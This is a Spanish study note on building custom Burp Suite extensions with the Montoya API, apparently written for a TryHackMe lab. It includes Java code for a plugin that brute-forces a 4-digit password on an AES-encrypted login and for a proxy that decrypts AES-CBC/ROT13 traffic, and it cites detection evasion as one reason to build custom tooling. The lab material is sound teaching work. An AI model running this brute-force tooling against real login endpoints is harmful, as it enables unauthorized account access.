Tooling propio con Burp
Un plugin de Burp Suite es un archivo JAR que extiende la funcionalidad del proxy mediante la API Montoya. Permite interceptar y modificar tráfico HTTP en tiempo real, automatizar brute…
Definición
Un plugin de Burp Suite es un archivo JAR que extiende la funcionalidad del proxy mediante la API Montoya. Permite interceptar y modificar tráfico HTTP en tiempo real, automatizar brute force contra endpoints con cifrado custom y descifrar/recodificar payloads de aplicaciones móviles.
Casos de uso principales:
- Automatizar brute force cuando las credenciales se envían cifradas (AES, RSA + custom encoding).
- Descifrar/recifrar tráfico en tiempo real para inspeccionar aplicaciones con criptografía propietaria.
- Actuar como proxy transparente entre la app y su API back-end sin romper el flujo de la aplicación.
Relacionado: Burp Suite, Insecure Randomness, AES-ECB Chosen Plaintext Attack
Contexto
¿Por qué crear tooling propio?
Las herramientas genéricas tienen firmas conocidas y no cubren lógica de negocio específica. El tooling custom permite:
- Adaptar la funcionalidad al engagement concreto.
- Automatizar flujos de explotación complejos (multi-step).
- Evadir detección (no hay firma para herramientas que nadie más usa).
- Manejar criptografía propietaria sin romper el flujo de la aplicación.
Custom Crypto en apps móviles
Las aplicaciones móviles son especialmente sensibles porque se ejecutan en entornos no confiables:
- Un adversario puede descargar la app y descompilarlacon herramientas como Frida.
- Los desarrolladores responden con ofuscación, root detection y criptografía custom en las requests/responses.
El objetivo del pentester NO es romper el cifrado, sino replicar los pasos para poder modificar parámetros y testear la API. El lugar ideal para este tooling es dentro del proxy interceptor, que aplica los pasos para cada request automáticamente.
Comparativa de Proxies Interceptores
| Factor | Burp Suite | Fiddler | OWASP ZAP | Caido |
|---|---|---|---|---|
| Plataformas | Win/Mac/Linux | Windows | Win/Mac/Linux | Win/Mac/Linux |
| Lenguajes plugin | Java, Python (Jython), Ruby | .NET | Java, JavaScript | JavaScript/TypeScript |
| Facilidad | Alta (Montoya API + comunidad) | Media | Media | Alta (API moderna) |
| Comunidad | Grande | Media | Grande (OSS) | Creciente |
| Licencia | Comercial (tier gratuito) | Gratuito | Gratuito / OSS | Freemium |
Burp destaca por madurez, extensibilidad y amplio uso en testing móvil con cifrado propietario.
Estructura de una Extensión Burp (Montoya API)
Un plugin Burp es un JAR compilado con Gradle que implementa BurpExtension:
101Burp/├── src/main/java/│ └── BruteForce.java ← código fuente principal├── build.gradle ← dependencias (montoya-api:2025.2)├── settings.gradle└── gradlewDependencia clave en build.gradle:
compileOnly("net.portswigger.burp.extensions:montoya-api:2025.2")Compilar:
cd ~/101Burp/gradle build# → build/libs/101Burp-1.0-SNAPSHOT.jarImportar en Burp: Extensions → Add → Select File → .jar.
Lab 1: Extensión de Brute Force (AES-CBC Encrypted Login)
Escenario: Login en https://TARGET:8443 cifra username+password con AES antes de enviar. El cliente JS genera una clave AES aleatoria, cifra username=ecorp_user&password=XXXX, envía mac=<AES_key_b64>&data=<ciphertext_b64>. El password es de 4 dígitos (0000–9999).
Solución: Plugin que replica el cifrado y hace brute force iterando los 10.000 posibles passwords.
Método initialize()
@Overridepublic void initialize(MontoyaApi api) { this.api = api; api.extension().setName("Burp Password Brute-Forcer"); SwingUtilities.invokeLater(this::createUI);}Registra el plugin y lanza la UI en el EDT de Swing.
Método createUI()
private void createUI() { JFrame frame = new JFrame("Brute Force Attack"); // campos: usernameField, urlField (e.g., SECOND_VM_IP:8443) JButton startButton = new JButton("Start Attack"); startButton.addActionListener((ActionEvent e) -> { frame.dispose(); new Thread(() -> startBruteForce( usernameField.getText().trim(), urlField.getText().trim() )).start(); });}La UI se lanza en un hilo separado para no bloquear Burp.
Método startBruteForce() — lógica principal
// Iteración: 0001 → 9999for (int i = 1; i <= 9999; i++) { String password = String.format("%04d", i);
SecretKey aesKey = generateAESKey(); // clave AES aleatoria String encodedKey = base64EncodeWithPadding(aesKey.getEncoded());
String rawdata = "username=" + username + "&password=" + password; byte[] encryptedData = encryptAES(rawdata, aesKey); String encodedData = base64EncodeWithPadding(encryptedData);
String postBody = "mac=" + URLEncoder.encode(encodedKey, "UTF-8") + "&data=" + URLEncoder.encode(encodedData, "UTF-8");
HttpRequest request = HttpRequest.httpRequest(httpService, createHttpRequest(postBody, host)); HttpResponse response = api.http().sendRequest(request).response();
// éxito: status 200 + "result=" en el body if (response.statusCode() == 200 && response.bodyToString().contains("result=")) { String decryptedResult = decryptAES(decodedKey, decodedEncryptedData); // → mostrar popup con password y respuesta descifrada break; }}Método createHttpRequest()
private String createHttpRequest(String body, String serverUrl) { return "POST /login HTTP/1.1\r\n" + "Host: " + serverUrl + "\r\n" + "Content-Type: application/x-www-form-urlencoded\r\n" + "Content-Length: " + body.length() + "\r\n" + "\r\n" + body;}Lab 2: Plugin Proxy Descifrador (AES-CBC + ROT13)
Escenario (segunda pantalla de login): La app aplica ROT13 a username y secret, luego cifra con AES-CBC (IV fijo "0000000000000000") y envía mac=<key>&data=<ciphertext>. La respuesta del servidor también está cifrada con la misma clave de sesión.
Objetivo: Plugin que actúa como proxy transparente, descifra requests y responses, y los loguea en claro en el output de Burp.
Flujo de la extensión (clase BurpExtender implements BurpExtension, HttpHandler)
@Overridepublic void initialize(MontoyaApi api) { this.api = api; api.extension().setName("Burp Decryptor"); api.http().registerHttpHandler(this); // ← hookeado a cada request/response}Interceptar y descifrar requests
@Overridepublic RequestToBeSentAction handleHttpRequestToBeSent( HttpRequestToBeSent requestToBeSent) {
// 1. Extraer mac (AES key b64) y data (ciphertext b64) con regex // 2. Base64-decode ambos byte[] aesKey = Base64.getDecoder().decode(URLDecoder.decode(mac, UTF_8)); byte[] encryptedData = Base64.getDecoder().decode(URLDecoder.decode(data, UTF_8)); // 3. Descifrar AES-CBC byte[] decryptedBytes = decryptAES(encryptedData, aesKey); // 4. Aplicar ROT13 para obtener texto claro String firstPassRot13 = rot13(new String(decryptedBytes, UTF_8).trim()); // 5. Loguear logging.logToOutput("===== [Decrypted Request] =====\n" + firstPassRot13); return RequestToBeSentAction.continueWith(requestToBeSent);}Descifrar respuestas del servidor
@Overridepublic ResponseReceivedAction handleHttpResponseReceived( HttpResponseReceived responseReceived) {
// 1. Extraer result= del body con regex // 2. Recuperar la AES key del REQUEST original (mac=) String requestBody = responseReceived.initiatingRequest().body().toString(); byte[] aesKey = /* extraer mac del requestBody */; // 3. Descifrar y aplicar ROT13 byte[] decryptedResponseBytes = decryptAES(encryptedResponse, aesKey); String finalDecryptedResponse = rot13(new String(decryptedResponseBytes, UTF_8).trim()); // 4. Loguear logging.logToOutput("===== [Decrypted Response] =====\n" + finalDecryptedResponse); return ResponseReceivedAction.continueWith(responseReceived);}Función ROT13 en Java
private String rot13(String text) { StringBuilder result = new StringBuilder(); for (char c : text.toCharArray()) { if (Character.isUpperCase(c)) result.append((char) ('A' + (c - 'A' + 13) % 26)); else if (Character.isLowerCase(c)) result.append((char) ('a' + (c - 'a' + 13) % 26)); else result.append(c); } return result.toString();}Función decryptAES()
private byte[] decryptAES(byte[] encryptedData, byte[] key) throws Exception { Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); IvParameterSpec iv = new IvParameterSpec( FIXED_IV.getBytes(StandardCharsets.UTF_8)); // "0000000000000000" SecretKeySpec secretKey = new SecretKeySpec(key, "AES"); cipher.init(Cipher.DECRYPT_MODE, secretKey, iv); return cipher.doFinal(encryptedData);}Output esperado
===== [Decrypted Request] =====username=ecorp_user&secret=THM{SECRET_FROM_PREVIOUS_TASK}========================================
===== [Decrypted Response] =====Welcome ecorp_user your secret is THM{****}========================================Diagrama de flujo — Plugin proxy descifrador
sequenceDiagram
participant Browser as App/Browser
participant BurpPlugin as Burp Decryptor Plugin
participant Server as API Server
Browser->>BurpPlugin: POST /verify (mac=<key_b64>&data=<ciphertext_b64>)
BurpPlugin->>BurpPlugin: Base64-decode mac → AES key
BurpPlugin->>BurpPlugin: Base64-decode data → ciphertext
BurpPlugin->>BurpPlugin: AES-CBC decrypt (IV="0000...")
BurpPlugin->>BurpPlugin: ROT13 decode → plaintext
BurpPlugin->>BurpPlugin: log("[Decrypted Request] username=ecorp_user...")
BurpPlugin->>Server: reenvía request original sin modificar
Server->>BurpPlugin: response (result=<encrypted_b64>)
BurpPlugin->>BurpPlugin: recupera AES key del request original (initiatingRequest)
BurpPlugin->>BurpPlugin: AES-CBC decrypt + ROT13 decode
BurpPlugin->>BurpPlugin: log("[Decrypted Response] Welcome ecorp_user...")
BurpPlugin->>Browser: reenvía response original sin modificar
Pitfalls
- IV fijo (
"0000000000000000"): Un IV estático hace el cifrado determinista. En un audit, marcarlo comoCryptographic Failure(PKCS#7/CBC + IV predecible → bit-flipping posible). Ver Cryptographic Failures, Padding Oracle Attack. - AES key transmitida en la propia request (
mac=): La clave viaja junto al ciphertext. Cualquier interceptor pasivo puede descifrar el tráfico. No aporta confidencialidad real; solo oscuridad. - ROT13 no es cifrado: Es una transposición trivial (invertible sin clave). No añade seguridad.
- Jython en Burp Community: Si se usa Python en la extensión, Jython puede ser lento y tener problemas con dependencias de terceros. Java es la opción más robusta.
- Hilo principal de Swing: La UI de la extensión debe crearse con
SwingUtilities.invokeLater()y el brute force debe ejecutarse en un hilo separado para no bloquear Burp.
Referencias
- Montoya API (PortSwigger)
- BApp Store (PortSwigger)
- Burp Suite
- Cryptographic Failures
- AES-ECB Chosen Plaintext Attack
- Padding Oracle Attack
- Browser Automation for Pentesting — alternativa sin revertir el cifrado